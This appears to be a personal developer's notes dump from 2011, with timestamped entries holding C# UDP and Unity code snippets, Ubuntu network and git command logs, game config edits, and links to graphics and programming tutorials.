Name: UDP
Info:
// 1) Using UDPClient.Receive
-------------------------
public void receiveStream()
{
try
{
iUdpReceiveClient = new UdpClient(iPort);
IPEndPoint RemoteIpEndPoint = new IPEndPoint(IPAddress.Any,iPort);

iPacketsReceived = 0;
iReceivedPacketsLost = 0;
iReceivedPacketsLostPct = 0;

while (!iStop)
{
Byte[] receiveBytes = iUdpReceiveClient.Receive(ref
RemoteIpEndPoint);

long packetVolgnr = buildLong(receiveBytes);
iPacketsReceived++;
iReceivedPacketSize = receiveBytes.Length;
iReceivedPacketsLost = packetVolgnr - iPacketsReceived;
if (packetVolgnr != 0)
{
iReceivedPacketsLostPct =
Math.Round((double)iReceivedPacketsLost / (double)packetVolgnr *
100.0, 2);
}
}
}
catch (Exception e)
{
if ( (iFncSendError != null) && (!iStop) )
{
iFncSendError(e.Message+"\n"+e.StackTrace);
}
}
}




// 2) Using Asynchronous Callback on a Socket
//(code can be structured better, this is only for testing purposes)
---------------------------------------------

private Socket iSocket;
private byte[] iBuffer = new byte[100000];

public void receiveStreamAsync()
{

iPacketsReceived = 0;
iReceivedPacketsLost = 0;
iReceivedPacketsLostPct = 0;

AsyncCallback AcceptReceive = new AsyncCallback(this.ReceiveData);
iSocket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram,
ProtocolType.Udp);
IPEndPoint RemoteIpEndPoint = new IPEndPoint(IPAddress.Any,iPort);
EndPoint tempRemoteEP = (EndPoint)RemoteIpEndPoint;
iSocket.Bind(RemoteIpEndPoint);
iSocket.BeginReceiveFrom(iBuffer, 0, iBuffer.Length,
SocketFlags.None, ref tempRemoteEP,AcceptReceive, null);
}

private void ReceiveData(IAsyncResult result)
{
try
{
AsyncCallback AcceptReceive = new AsyncCallback(this.ReceiveData);
IPEndPoint RemoteIpEndPoint = new IPEndPoint(IPAddress.Any,
iPort);
EndPoint tempRemoteEP = (EndPoint)RemoteIpEndPoint;
int numBytes = iSocket.EndReceiveFrom(result, ref tempRemoteEP);
long packetVolgnr = buildLong(iBuffer);
iPacketsReceived++;
iReceivedPacketSize = numBytes;
iReceivedPacketsLost = packetVolgnr - iPacketsReceived;
if (packetVolgnr != 0)
{
iReceivedPacketsLostPct =
Math.Round((double)iReceivedPacketsLost / (double)packetVolgnr *
100.0, 2);
}
iSocket.BeginReceiveFrom(iBuffer, 0, iBuffer.Length,
SocketFlags.None, ref tempRemoteEP, AcceptReceive, null);
}
catch (Exception e)
{
if ((iFncSendError != null) && (!iStop))
{
iFncSendError(e.Message + "\n" + e.StackTrace);
}
}
}
Date: 23:41:29 26/01/2011

Name: Minimap unity dump
Info: using _CodeBase.Demos;
using _CodeBase.DemoFramework;
using UnityEngine;

public class MiniMap : MonoBehaviour
{
public GUIStyle miniMap;
public GUIStyle playerIcon;

public float scale = 4.2f;

private int iconSize = 15;
private float iconHalfSize;

void Update()
{
iconHalfSize = iconSize / 2;
}

void OnGUI()
{
var posX = GetMapPos(TP_Controller.Instance.transform.position.x);
var posY = GetMapPos(TP_Controller.Instance.transform.position.z);

GUI.BeginGroup(new Rect(762, 510, 256, 256), miniMap);

var playerX = posX - iconHalfSize;
var playerY = ((posY * -1) - iconHalfSize) + 256;

GUI.Box(new Rect((int)playerX, (int)playerY, iconSize, iconSize), "", playerIcon);

GUI.EndGroup();
}

public float GetMapPos(float pos)
{
return (pos / 144f) * scale;
}

}
Date: 22:09:45 08/03/2011

Name: unity mmo dump
Info: using UnityEngine;

namespace _CodeBase.Demos
{
public class TerrainHeight
{
private float worldSize = 11760;
private Texture2D heightMap;

private float PositionOffsetX;
private float PositionOffsetY;

public Vector3 mapSize = new Vector3(2048, 10, 2048);


public TerrainHeight()
{
heightMap = Resources.Load("heightmap") as Texture2D;
}

// posA = Terrain location X
// posB = Terrain location Y
public float ReturnHeightAtLocation(float x, float y, float posA, float posB)
{
var scale = 2048 / worldSize;
PositionOffsetX = (worldSize / 2) + posA;
PositionOffsetY = (worldSize / 2) + posB;

var posX = (PositionOffsetX + x) * scale;
var posY = (PositionOffsetY + y) * scale;

return SmoothCoords((int)posX, (int)posY);
}

public Vector2 getMapCoords()
{
var coords = new Vector2((int)(PositionOffsetX * 0.125),(int)(PositionOffsetY * 0.125));

return coords;
}

public float SmoothCoords(int posX, int posY)
{
var total = 0.0f;
for (int u = -1; u <= 1; u++)
{
for (int v = -1; v <= 1; v++)
{
total += heightMap.GetPixel(posX + u, posY + v).grayscale * mapSize.y;
}
}
return total;
}
}
}
Date: 22:10:32 08/03/2011

Name: dump
Info: http://www.fileserve.com/file/NxYphFm/TextureT2 (ds).part01.rar
http://www.fileserve.com/file/Y7n64J7/TextureT2 (ds).part02.rar
http://www.fileserve.com/file/4js6eNr/TextureT2 (ds).part03.rar
http://www.fileserve.com/file/DEM7hTP/TextureT2 (ds).part04.rar
http://www.fileserve.com/file/FjycE4c/TextureT2 (ds).part05.rar
http://www.fileserve.com/file/f6aT87C/TextureT2 (ds).part06.rar
http://www.fileserve.com/file/HwTyF4G/TextureT2 (ds).part07.rar
http://www.fileserve.com/file/rwa3xVP/TextureT2 (ds).part08.rar
http://www.fileserve.com/file/Mkan37e/TextureT2 (ds).part09.rar
http://www.fileserve.com/file/vcHVFms/TextureT2 (ds).part10.rar
http://www.fileserve.com/file/5W6QEGp/TextureT2 (ds).part11.rar
http://www.fileserve.com/file/XjqgPUM/TextureT2 (ds).part12.rar
http://www.fileserve.com/file/yQwWWeY/TextureT2 (ds).part13.rar
http://www.fileserve.com/file/TGrdaPJ/TextureT2 (ds).part14.rar
http://www.fileserve.com/file/99eWw7p/TextureT2 (ds).part15.rar
http://www.fileserve.com/file/TrD57NJ/TextureT2 (ds).part16.rar
http://www.fileserve.com/file/MUYBbRb/TextureT2 (ds).part17.rar
http://www.fileserve.com/file/5tBfdfb/TextureT2 (ds).part18.rar
http://www.fileserve.com/file/r8cRWpm/TextureT2 (ds).part19.rar
http://www.fileserve.com/file/KDNdsQ9/TextureT2 (ds).part20.rar
http://www.fileserve.com/file/H5KNYcW/TextureT2 (ds).part21.rar
http://www.fileserve.com/file/HKRTKrx/TextureT2 (ds).part22.rar
http://www.fileserve.com/file/GMW7HRB/TextureT2 (ds).part23.rar
http://www.fileserve.com/file/wKMMyAF/TextureT2 (ds).part24.rar
http://www.fileserve.com/file/dsXjBm3/TextureT2 (ds).part25.rar
http://www.fileserve.com/file/ZBQgg3J/TextureT2 (ds).part26.rar
http://www.fileserve.com/file/GVkZu62/TextureT2 (ds).part27.rar
http://www.fileserve.com/file/abSNMWP/TextureT2 (ds).part28.rar
http://www.fileserve.com/file/kbDbmSe/TextureT2 (ds).part29.rar
http://www.fileserve.com/file/VnWJPBJ/TextureT2 (ds).part30.rar
http://www.fileserve.com/file/tE7wxS8/TextureT2 (ds).part31.rar
http://www.fileserve.com/file/WaFs8ks/TextureT2 (ds).part32.rar
http://www.fileserve.com/file/HNp6nUF/TextureT2 (ds).part33.rar
http://www.fileserve.com/file/Tbv92JZ/TextureT2 (ds).part34.rar
http://www.fileserve.com/file/BKWaEhy/TextureT2 (ds).part35.rar
http://www.fileserve.com/file/xupgXd2/TextureT2 (ds).part36.rar
http://www.fileserve.com/file/VYC6pZj/TextureT2 (ds).part37.rar
http://www.fileserve.com/file/6bDuNA7/TextureT2 (ds).part38.rar
http://www.fileserve.com/file/GsAVhqQ/TextureT2 (ds).part39.rar
http://www.fileserve.com/file/6zKHtsu/TextureT2 (ds).part40.rar
http://www.fileserve.com/file/xCkX49k/TextureT2 (ds).part41.rar
http://www.fileserve.com/file/HRxAaB2/TextureT2 (ds).part42.rar
http://www.fileserve.com/file/QC2FFS6/TextureT2 (ds).part43.rar
http://www.fileserve.com/file/nsK2chD/TextureT2 (ds).part44.rar
http://www.fileserve.com/file/SPa3gjp/TextureT2 (ds).part45.rar
http://www.fileserve.com/file/edmqZpe/TextureT2 (ds).part46.rar
http://www.fileserve.com/file/JhyKU2H/TextureT2 (ds).part47.rar
http://www.fileserve.com/file/YEanrVY/TextureT2 (ds).part48.rar
Date: 15:18:28 15/03/2011

Name: photoshop turtorials
Info: http://naldzgraphics.net/tutorials/30-photoshop-tutorials-for-creating-space-and-planets/
Date: 16:13:37 28/03/2011

Name: photoshop turt
Info: http://dinyctis.deviantart.com/art/Planet-Tutorial-3131869

http://www.designshard.com/video-tutorials/space-and-planet-photoshop-tutorials-to-create-amazing-space-scenes/

http://designreviver.com/inspiration/31-breathtaking-planet-space-tutorials-for-photoshop/
Date: 18:27:56 28/03/2011

Name: photoshop turt
Info: http://www.smashingmagazine.com/2008/08/07/50-photoshop-tutorials-for-sky-and-space-effects/
Date: 18:47:10 28/03/2011

Name: photoshop turt
Info: http://vandelaydesign.com/blog/design/photoshop-nature-tutorials/
Date: 23:04:27 28/03/2011

InfoName: 3d benchmark
Info: http://unigine.com/download/#heaven
Date: 10:19:00 04/04/2011

Name: 3dsmax plugins
Info: http://www.scriptspot.com/3ds-max/scripts

http://www.maxplugins.de/
Date: 12:52:51 06/04/2011

Name: turt shatter
Info: http://folk.ntnu.no/havardsc/site/wordpress/?page_id=222
Date: 15:20:16 06/04/2011

Name: 3d art free downloads
Info: http://www.opengameart.org/content/steampunk-spider
Date: 17:59:11 26/04/2011

Name: get default browser
Info: private string getDefaultBrowser()
{
string browser = string.Empty;
RegistryKey key = null;
try
{
key = Registry.ClassesRoot.OpenSubKey(@"HTTP\s… false);

//trim off quotes
browser = key.GetValue(null).ToString().ToLower().… "");
if (!browser.EndsWith("exe"))
{
//get rid of everything after the ".exe"
browser = browser.Substring(0, browser.LastIndexOf(".exe")+4);
}
}
finally
{
if (key != null) key.Close();
}
return browser;
}
Date: 18:11:09 27/04/2011

Name: delegates and events
Info: http://csharpindepth.com/Articles/Chapter2/Events.aspx
Date: 00:08:44 29/04/2011

Name: regex
Info: http://www.nregex.com/nregex/default.aspx
Date: 09:20:28 03/05/2011

Name: MVC# - MVP
Info: http://www.mvcsharp.org/Getting_started_with_MVCSharp/Default.aspx
Date: 19:51:13 03/05/2011

Name: design patterns
Info: http://activeengine.wordpress.com/2007/12/21/tdd-and-design-pattern-screencasts-by-jean-paul-boodhoo/
Date: 16:12:44 06/05/2011

Name: 101
Info: Berntrix
Date: 19:46:57 07/05/2011

Name: eve news
Info: http://www.eve-news.com/
Date: 16:13:20 09/05/2011

Name: Linux fresh install
Info: /etc/network/interfaces
and adjust it to your needs (in this example setup I will use the IP address 192.168.0.100):

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# This is a list of hotpluggable network interfaces.
# They will be activated automatically by the hotplug subsystem.
mapping hotplug
script grep
map eth0

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.0.100
netmask 255.255.255.0
network 192.168.0.0
broadcast 192.168.0.255
gateway 192.168.0.1

Ubuntu Linux Configure DNS Name resolution
Type the following command, enter:
$ sudo vi /etc/resolv.conf
Or use nano text editor:
$ sudo nano /etc/resolv.conf
Append your ISP name server or free fast dns nameservers IP address as follows:
nameserver 208.67.222.222
nameserver 208.67.220.220
nameserver 202.51.5.52
Save and close the file. Test your dns configuration by typing the following commands:
$ host yahoo.com
$ nslookup google.com
$ ping nixcraft.in

As described at it’s straight forward:
1 sudo /bin/hostname mynewhostname


Supplying the path to the binary is for security reasons, I guess, to make sure we have the right bin (eventhough it could have been replaced there, too…).
But the people at debianadmin.com forgot to mention in order to avoid “hostname: Unknown Host” you have to
1 sudo edit /etc/hosts

sudo /bin/hostname mynewhostname
sudo /bin/hostname > /etc/hostname
sudo nano /etc/hosts


sudo apt-get install apache2
sudo apt-get install php5
sudo apt-get install libapache2-mod-php5
sudo /etc/init.d/apache2 restart


sudo apt-get install mysql-server
Date: 10:18:38 19/05/2011

Name: disable GDM
Info: To disable gdm in Ubuntu 9.10 and 10.04 rename /etc/init/gdm.conf to /etc/init/gdm.disabled. In Ubuntu 9.04 it's /etc/event.d/gdm.conf
Date: 10:54:30 19/05/2011

Name: noreplace-paravirt
Info: noreplace-paravirt
Date: 14:45:35 24/05/2011

Name: festival
Info: http://www.castlefest.com/2011/?lang=en
Date: 16:17:50 27/05/2011

Name: noreplace-paravirt
Info: noreplace-paravirt vga=791
Date: 14:43:09 31/05/2011

Name: test
Info: ste
Date: 22:09:44 31/05/2011

Name: OCR
Info: http://www.newocr.com/
Date: 17:09:58 03/06/2011

Name: git commit
Info: glennwiz@MAIN ~
$ cd IronAHK/

glennwiz@MAIN ~/IronAHK (master)
$ git remote add upstream https://github.com/polyethene/IronAHK.git

glennwiz@MAIN ~/IronAHK (master)
$ git fetch upstream
From https://github.com/polyethene/IronAHK
* [new branch] master -> upstream/master

glennwiz@MAIN ~/IronAHK (master)
$ git commit -m "Changed the debug class to use the Example.ahk for testing in
DEBUG mode"
# On branch master
# Changes not staged for commit:
# (use "git add ..." to update what will be committed)
# (use "git checkout -- ..." to discard changes in working directory)
#
# modified: IronAHK/Debug.cs
# modified: IronAHK/IronAHK.csproj
# modified: Tests/Tests.csproj
#
# Untracked files:
# (use "git add ..." to include in what will be committed)
#
# _ReSharper.IronAHK/
no changes added to commit (use "git add" and/or "git commit -a")

glennwiz@MAIN ~/IronAHK (master)
$ git add
Nothing specified, nothing added.
Maybe you wanted to say 'git add .'?

glennwiz@MAIN ~/IronAHK (master)
$ git add .

glennwiz@MAIN ~/IronAHK (master)
$ git commit -m "Changed the debug class to use the Example.ahk for testing in
DEBUG mode"
[master 01fb633] Changed the debug class to use the Example.ahk for testing in D
EBUG mode
26 files changed, 21 insertions(+), 6 deletions(-)
create mode 100644 _ReSharper.IronAHK/BuildScriptCache/.crc
create mode 100644 _ReSharper.IronAHK/BuildScriptCache/.version
create mode 100644 _ReSharper.IronAHK/BuildScriptCache/2/69317cc1.dat
create mode 100644 _ReSharper.IronAHK/ModuleIds.xml
create mode 100644 _ReSharper.IronAHK/NamedArguments/.crc
create mode 100644 _ReSharper.IronAHK/NamedArguments/.version
create mode 100644 _ReSharper.IronAHK/NamedArguments/2/69317cc1.dat
create mode 100644 _ReSharper.IronAHK/ProjectModel/ProjectModel.dat
create mode 100644 _ReSharper.IronAHK/Resources/.crc
create mode 100644 _ReSharper.IronAHK/Resources/.version
create mode 100644 _ReSharper.IronAHK/SymbolCache.bin
create mode 100644 _ReSharper.IronAHK/TagPrefixes/.crc
create mode 100644 _ReSharper.IronAHK/TagPrefixes/.version
create mode 100644 _ReSharper.IronAHK/TodoCache/.crc
create mode 100644 _ReSharper.IronAHK/TodoCache/.version
create mode 100644 _ReSharper.IronAHK/TodoCache/3/757a7767.dat
create mode 100644 _ReSharper.IronAHK/WebsiteFileReferences/.crc
create mode 100644 _ReSharper.IronAHK/WebsiteFileReferences/.version
create mode 100644 _ReSharper.IronAHK/WordIndex/.crc
create mode 100644 _ReSharper.IronAHK/WordIndex/.version
create mode 100644 _ReSharper.IronAHK/WordIndex/0/1c8e9b33.dat
create mode 100644 _ReSharper.IronAHK/WordIndex/2/3578ce9a.dat
create mode 100644 _ReSharper.IronAHK/WordIndex/7/7fdc86d2.dat

glennwiz@MAIN ~/IronAHK (master)
$ git commit -a
# On branch master
# Your branch is ahead of 'origin/master' by 1 commit.
#
nothing to commit (working directory clean)

glennwiz@MAIN ~/IronAHK (master)
$ git push orgins master
fatal: 'orgins' does not appear to be a git repository
fatal: The remote end hung up unexpectedly

glennwiz@MAIN ~/IronAHK (master)
$ git push origins master
fatal: 'origins' does not appear to be a git repository
fatal: The remote end hung up unexpectedly

glennwiz@MAIN ~/IronAHK (master)
$ git push origin master
Enter passphrase for key '/c/Users/glennwiz/.ssh/id_rsa':
Counting objects: 47, done.
Delta compression using up to 6 threads.
Compressing objects: 100% (24/24), done.
Writing objects: 100% (41/41), 139.99 KiB, done.
Total 41 (delta 6), reused 0 (delta 0)
To git@github.com:glennwiz/IronAHK.git
e5005a9..01fb633 master -> master

glennwiz@MAIN ~/IronAHK (master)
$







Date: 23:26:35 08/06/2011

Name: lol
Info: First, you have to locate your lol folder (where you installed it). Then go into folder Rads, then into folder system.

there you have 4 .cfg files:
launcher.cfg
locale.cfg
system.cfg
user.cfg

To change server, you have to open them with notepad, and do next:

To make your server EU
1.open launcher.cfg with notepad, delete everything and copy this

Code:

gameProject=lol_game_client_sln
airProject=lol_air_client
airConfigProject=lol_air_client_config_eu

2.open locale.cfg with notepad, delete all and copy

Code:

locale=en_gb



3.open system.cfg with notepad, delete all and copy

Code:

DownloadURL=l3cdn.riotgames.com
DownloadPath=/releases/live
Region=EU



To make your server NA(US)

1.open launcher.cfg with notepad, delete everything and copy this

Code:

gameProject=lol_game_client_sln
airProject=lol_air_client
airConfigProject=lol_air_client_config_na

2.open locale.cfg with notepad, delete all and copy

Code:

locale=en_us



3.open system.cfg with notepad, delete all and copy

Code:

DownloadURL=l3cdn.riotgames.com
DownloadPath=/releases/live
Region=NA





Hope I helped
Date: 14:43:59 23/06/2011

InfoName: link
Info: http://www.abhisheksur.com/2011/07/valuetypes-and-referencetypes-under.html
Date: 13:39:13 17/07/2011

Name: info
Info: 148.140.26.108 Sert-port-1
Date: 09:39:33 18/07/2011

Name: Youtube format
Info: F4v 1280v720
Date: 12:20:25 27/09/2011

Name: after effect turtorials
Info: http://www.videocopilot.net/tutorials/galactic_orb/
Date: 11:20:05 24/10/2011

Name: dark wiki
Info: http://volatileminds.net/project/dark-wikipedia
Date: 01:07:06 04/12/2011

Name: splinesync
Info: create dummy

create points

Click AudioMaster
then click dummy

select all points
Click Rig Selection <---NB gets no feedback that you hav done this

then click Closed Splinesync og SplineSynk

done
Date: 04:17:49 07/12/2011

Name: game tools list
Info: http://www.mangatutorials.com/forum/showthread.php?742-The-Ultimate-Indie-Game-Developer-Resource-List
Date: 20:15:20 13/12/2011

Name: tshirt
Info: http://www.tshirtprint.co.uk/
Date: 11:46:42 15/12/2011

Name: glennwiz
Info: http://sithwarrior.com

http://www.forcejunkies.com
Date: 15:56:55 30/12/2011